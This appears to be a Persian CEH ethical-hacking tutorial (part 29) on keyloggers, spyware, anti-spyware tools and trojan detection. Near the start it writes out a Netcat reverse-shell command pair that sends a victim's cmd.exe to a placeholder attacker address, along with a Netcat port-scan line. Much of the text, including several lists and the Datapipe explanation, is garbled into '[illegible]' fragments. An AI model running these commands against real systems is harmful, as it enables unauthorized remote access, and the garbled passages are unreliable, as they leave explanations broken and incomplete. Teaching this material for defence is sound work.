禪

آموزش رایگان دوره CEH همگام با سرفصلهای بینالمللی – 29

آموزش CEH (هکر کلاه سفید): ابزارهایی که برای استخراج اطلاعات استفاده میشوند

C|EH
TM
CERTIFIED ETHICAL HACKER

کیلاگرها (keyloggers) نرمافزارها یا دستگاههای سختافزاری هستند که برای ضبط هر نوع اطلاعات شخصی استفاده میشوند . برخی از این برنامهها میتوانند هر بار کلیک ماوس را ضبط کنند، آدرس وبسایت بازدید شده یا برنامهای که باز شده را ضبط کنند . درست است که کیلاگر یک ابزار ارتباطی پنهان نیست، اما هکر را قادر میسازد به شکل پنهانی کارهایی دور از چشم کاربر انجام داده و روی فعالیتهای او نظارت کند. برخی از این ابزارها بهطور مخفیانه تمام اطلاعات را به یک آدرس ایمیلی از پیش تعریف و تنظیم شده توسط هکر ارسال میکنند.

برای مطالعه قسمت قبل آموزش رایگان دوره **CEH** اینجا کلیک کنید .

اگر Netcat در سیستم قربانی در دسترس باشد، این امکان وجود دارد تا پوسته را به شکل مستقیم به سیستم هکر بازگرداند . ابتدا هکر باید یک سیستم گوشدهنده (listener) را با استفاده از فرمان زیر روی سیستم خود تنظیم کند.

```
nc -n -v -l -p80
```

در مرحله بعد هکر، فرمان زیر را از سیستم قربانی اجرا میکند .

```
nc -n hackers_ip 80 -e "cmd.exe"
```

پس از وارد شدن، این پوسته سیستم قربانی را به خط فرمان باز هکر متصل میکند . Netcat را میتوان برای

.[illegible]

nc -v -z -w1 IPaddress 1-1024

[illegible] v- [illegible]. [illegible] -w1 [illegible] time out [illegible] -z [illegible] 1024 [illegible] TCP [illegible] Datapipe [illegible] FreeBSB [illegible] Datapipe [illegible]:

datapipe <localport> <remoteport> <remotehost>

[illegible] 10.2.2.254 [illegible] Datapipe [illegible] (10.2.2.2) [illegible] 139 [illegible] Datapipe [illegible] 80 [illegible] 139 [illegible] 80 [illegible] Datapipe [illegible] 80 [illegible] 139 [illegible] Foundstone [illegible] FPipe [illegible].

[illegible]

[illegible] (keyloggers) [illegible].

[illegible].

را چک میکنند، به همین دلیل اگر این ابزارهای سختافزاری به درگاه کامپیوتری متصل شوند، قادر هستند اطلاعات زیادی در اختیار هکرها قرار دهند.

برای آنکه انجام اینکار به لحاظ قانونی مشکلی ایجاد نکند، در زمان نصب این نرمافزارها روی سامانههای کاربران یک سازمان، ابتدا باید با مدیران ارشد سازمانی صحبت کرده و در قرار داد کتبی آنها را در جریان انجام اینکار قرار دهید و همچنین خطمشیهای امنیتی سازمان را بررسی کنید تا مشکلی از این بابت به وجود نیاید.

کیلاگرهای سختافزاری

کیلاگرهای سختافزاری سالیان متمادی است که برای اهداف مختلفی استفاده میشوند. کیلاگرهای سختافزاری میتوانند به شکل بیسیم یا با سیم استفاده شوند. کیلاگرهای بیسیم میتوانند از طریق 802.11 یا بلوتوث ارتباط برقرار کنند و اطلاعات را دریافت کنند. در ارتباط با کیلاگرهای سیمی باید اطلاعات ذخیره شده توسط آنها بازیابی شود. یکی از نمونههای رایج کیلاگرهای سیمی KeyGhost است. یک ابزار تجاری که به شکل آشکار در سراسر جهان استفاده میشود و توسط یک شرکت نیوزیلندی بهنام KeyGhost Ltd به نشانی (http://www.keyghost.com) به فروش میرسد. این دستگاه شبیه به یک آداپتور کوچک به نظر میرسد که و به صفحهکلیدی متصل به کامپیوتر وصل میشود. این وسیله به انرژی خارجی نیاز ندارد، بهطور نامحدود قابل استفاده بوده و توسط هیچ نرمافزاری قابل شناسایی نیست.

کیلاگرهای نرمافزاری

نرمافزارهایی که برای روبایش کلیدها استفاده میشوند به شکل رایگان در اینترنت در دسترس مردم قرار دارند. در حالی که برخی از آنها تجاری هستند، در مقابل برخی دیگر به شکل رایگان قابل استفاده هستند. از جمله کیلاگرهای معروف به موارد زیر میتوان اشاره کرد:

- Spy PC Keylogger: یک برنامه ویندوزی است که به شکل پنهان و در پایینترین سطح سیستمعامل اجرا میشود. کشف برنامه پس از تغییر نام فایل برنامه و تغییر نام فایلهای گزارش تقریباً غیرممکن است. حتا جستجوی جامع هارددیسک نیز نمیتواند نشان دهد که چنین ابزاری روی یک سیستم نصب شده است.

- Ghost Keylogger: Ghost Keylogger یک کیلاگر نرمافزاری مبتنی بر ویندوز است که هرگونه کلید تایپ شده توسط کاربر را درون یک فایل گزارش رمزنگاری شده ضبط میکند. فایل گزارش بر مبنای آدرس از پیش تعیین شدهای از طریق ایمیلی برای هکر ارسال میشود.

- Veriato Investigator: این برنامه کلیدهای تایپ شده را ضبط کرده، از طریق ایمیل، نرمافزارهای چت یا برنامههای پیامرسان برای هکر ارسال میکند.

- eBLASTER: این کیلاگر هر کرای انجام میدهد. کیلاگر فوق میتواند این انواع فعالیتها را ثبت کند، اطلاعات را سازماندهی کند و گزارشهای مفصلی را در فواصل زمانی مشخص به آدرس ایمیل از پیش تعیین شده ارسال کند.

جاسوسافزار

نرمافزارهای جاسوسی شکل دیگری از کدهای مخرب هستند که عملکردی شبیه به یک تروجان دارند. این برنامهها بدون اطلاع کاربر روی سامانه او نصب میشوند، از دید کاربر پنهان هستند، به شنود فعالیتهای انجام شده روی سامانه کاربر میپردازند، هرگونه تعامل آنلاین با اینترنت را زیر نظر میگیرند و هر بار سامانه کامپیوتری راهاندازی میشود در پسزمینه شروع به فعالیت میکنند. امروزه نرمافزارهای جاسوسی به یک مشکل بزرگ تبدیل شدهاند. این نرمافزارها عمدتا به دلایل زیر استفاده میشوند:

- نظارت: با هدف بررسی جستوجوهای آنلاین، محصولاتی که عمدتا خرید میکند، پستهایی که دوست داشته و آنها را لایک کرده و مواردی از این دست استفاده میشوند. در ادامه این اطلاعات برای افراد شاغل در صنعت بازاریابی ارسال میشوند.

- تبلیغات : برخی از شرکتها برای تبلیغ محصولات خود به تولیدکنندگان جاسوسافزارها مبالغی را پرداخت میکنند تا نرمافزارهای خود را روی سامانه کاربران نصب کرده و به تبلیغ محصولات یک شرکت خاص بپردازند . بهطور مثال، تولیدکننده محصولات جانبی برای گوشیهای همراه ممکن است مبلغی به هکر پرداخت کند تا نزدیک به 100000 هزار تبلیغ را برای افراد مختلف ارسال کند . اگر سامانهای که از آن استفاده میکنید به جاسوسافزاری آلوده شده باید در انتظار حجم افسارگسیختهای از تبلیغات باشید . بیشتر مواقع، سایتهای جاسوسافزاری و تولیدکنندگان از روشهای پنهانی برای آلودهسازی کامپیوتر کاربران استفاده میکنند . در حالت کلی، یک نرمافزار ارسالکننده که به آن dropper میگویند و در اصل نام دیگری برای wrapper است استفاده میشود. dropper یک برنامه مستقل است که انواع مختلفی از بدافزارهای منفرد را به سامانه قربانیان تزریق میکند .

برنامههای جاسوسی مشابه تروجانها از روشهای مختلفی برای آلودهسازی سامانه کاربران استفاده میکنند . برای آنکه جاسوسافزارها بتوانند دومرتبه روی سامانه قربانیان اجرا شوند، بهطور معمول اطلاعات مربوطه درون رجیستری سیستم، پوشه راهانداز ویندوز، خطوط Windows load= یا run=، فایل Shell-line، Win.ini یا Win.ini قرار میگیرند . جاسوسافزار، شبیه به تمامی بدافزارها ممکن است تغییراتی در فایل میزبانی اعمال کند تا امکان دانلود یا بهروزرسانی نرمافزارهای امنیتی امکانپذیر نباشد یا ترافیک به سمت مسیرهایی که متنهی به سرورهای تبلیغاتی میشود هدایت شود و تبلیغات مدنظر هکر برای کاربر به نمایش در آیند . اگر با سیستمهایی روبرو شدید که جاسوسافزاری روی آنها نصب شده، ابتدا به فایل hosts و سایر مکانهایی که پیشتر به آنها اشاره کردیم نگاهی انداخته و در صورت امکان از نرمافزارهای پاککننده جاسوسافزارها استفاده کنید .

بهتر است برای پویش دقیق یک سامانه بیش از یک نرمافزار ضدجاسوس افزار را استفاده کنید تا بتوانید به دقیقتر شکل آنها را پیدا کنید . از جمله نرمافزارهای ضدجاسوسی میتوان به موارد زیر اشاره کرد :

- Ad-Aware: http://www.lavasoft.com/

- Microsoft Anti Spyware: https://www.microsoft.com/security/default.aspx

- HiJackThis: https://sourceforge.net/projects/hjt/

- Spybot Search & Destroy: https://www.safer-networking.org/dl/

- SpywareBlaster: http://www.brightfort.com/spywareblaster.html

تمهیدات ضد بدافزاری

پیشگیری همیشه بهتر از درمان است. اطمینان حاصل کنید که همیشه آخرین نسخه آنتیویروس را در سیستم خود نصب کردهاید و سیستم به شکل پیکربندی شده که بهروزرسانیها را به شکل خودکار دریافت میکند . آموزش نقش مهمی در متوقف کردن فعالیت نرمافزارهای مخرب دارد. کلیه کاربران باید درباره خطرات باز کردن پیوستها یا نرمافزارهایی که از منابع غیر معتبر دریافت شدهاند اطلاعات کافی داشته باشند .

مایکروسافت از یک سیستم تأیید فایلهای سیستمی استفاده میکند . سیستم فوق مانع از آن میشود تا فایلهای مخرب جایگزین فایلهای سیستمی محافظت شده شوند. فایلهای محافظت شده اثرانگشتی دارند که توسط الگوریتم هش تولید میشود .

برنامههایی شبیه به Tripwire نیز مفید هستند . Tripwire شما را قادر میسازد از اسنپشاتهای دورهای مربوطه به فایلها برای مقایسه آنها با نمونه قبلی استفاده کنید تا مطمئن شوید چیزی تغییر نکرده است.

اگر تغییراتی رخ داده، از شما درخواست میکند این موضوع را تحقیق کنید . در حالت کلی یک کارشناس امنیتی باید از روشهای مختلفی برای پیدا کردن تروجانها استفاده کند که از آن جمله به موارد زیر میتوان اشاره کرد :

- پورتهای مشکوک را اسکن کنید .

■ [illegible].

■ [illegible].

■ [illegible].

■ [illegible].

■ [illegible].

■ [illegible].

[illegible]: [illegible] [illegible].

[illegible]

[illegible] Task Manager [illegible] C: \ Windows \ temp \ svchost.exe [illegible] svchost.exe [illegible] PID [illegible] PID [illegible] svchost.exe [illegible] Process Environment Block [illegible] PEB [illegible] EPROCESS [illegible] nonpaged pool [illegible]:

■ Process Monitor: Process Monitor [illegible].

■ Task Manager: [illegible].

■ Ps: [illegible] UNIX / Linux [illegible].

■ Netstat: [illegible] TCP [illegible] IPv4 [illegible] Netstat -an [illegible].

■ CurrPorts: [illegible].

■ TCPView: [illegible] Sysinternals [illegible] GUI [illegible].

■ Microsoft Computer Management Console: [illegible] compmgmt.msc [illegible] run [illegible].

■ Process Viewer: [illegible].

[illegible].

■ IceSword: [illegible].

■ Regshot: [illegible].

[illegible] **CEH** [illegible]:

CEH [illegible]

[illegible]:
[illegible]
[illegible]:
[illegible]
[illegible]:
13:00 - 10/03/1399
[illegible]:
[illegible] - CEH v10 [illegible] - [illegible] - CEH [illegible] - CEH [illegible] - CEH [illegible] - [illegible] - [illegible] - [illegible] - [illegible] - CEH10 [illegible]

[illegible]
[illegible]: https://www.shabakeh-mag.com/security/16903/%D8%A2%D9%85%D9%88%D8%B2%D8%B4-ceh-%D9%87%DA%A9%D8%B1-%DA%A9%D9%84%D8%A7%D9%87-%D8%B3%D9%81%DB%8C%D8%AF-%D8%A7%D8%A8%D8%B2%D8%A7%D8%B1%D9%87%D8%A7%DB%8C%DB%8C-%DA%A9%D9%87-%D8%A8%D8%B1%D8%A7%DB%8C-%D8%A7%D8%B3%D8%AA%D8%AE%D8%B1%D8%A7%D8%AC-%D8%A7%D8%B7%D9%84%D8%A7%D8%B9%D8%A7%D8%AA-%D8%A7%D8%B3%D8%AA%D9%81%D8%A7%D8%AF%D9%87-%D9%85%DB%8C%E2%80%8C%D8%B4%D9%88%D9%86%D8%AF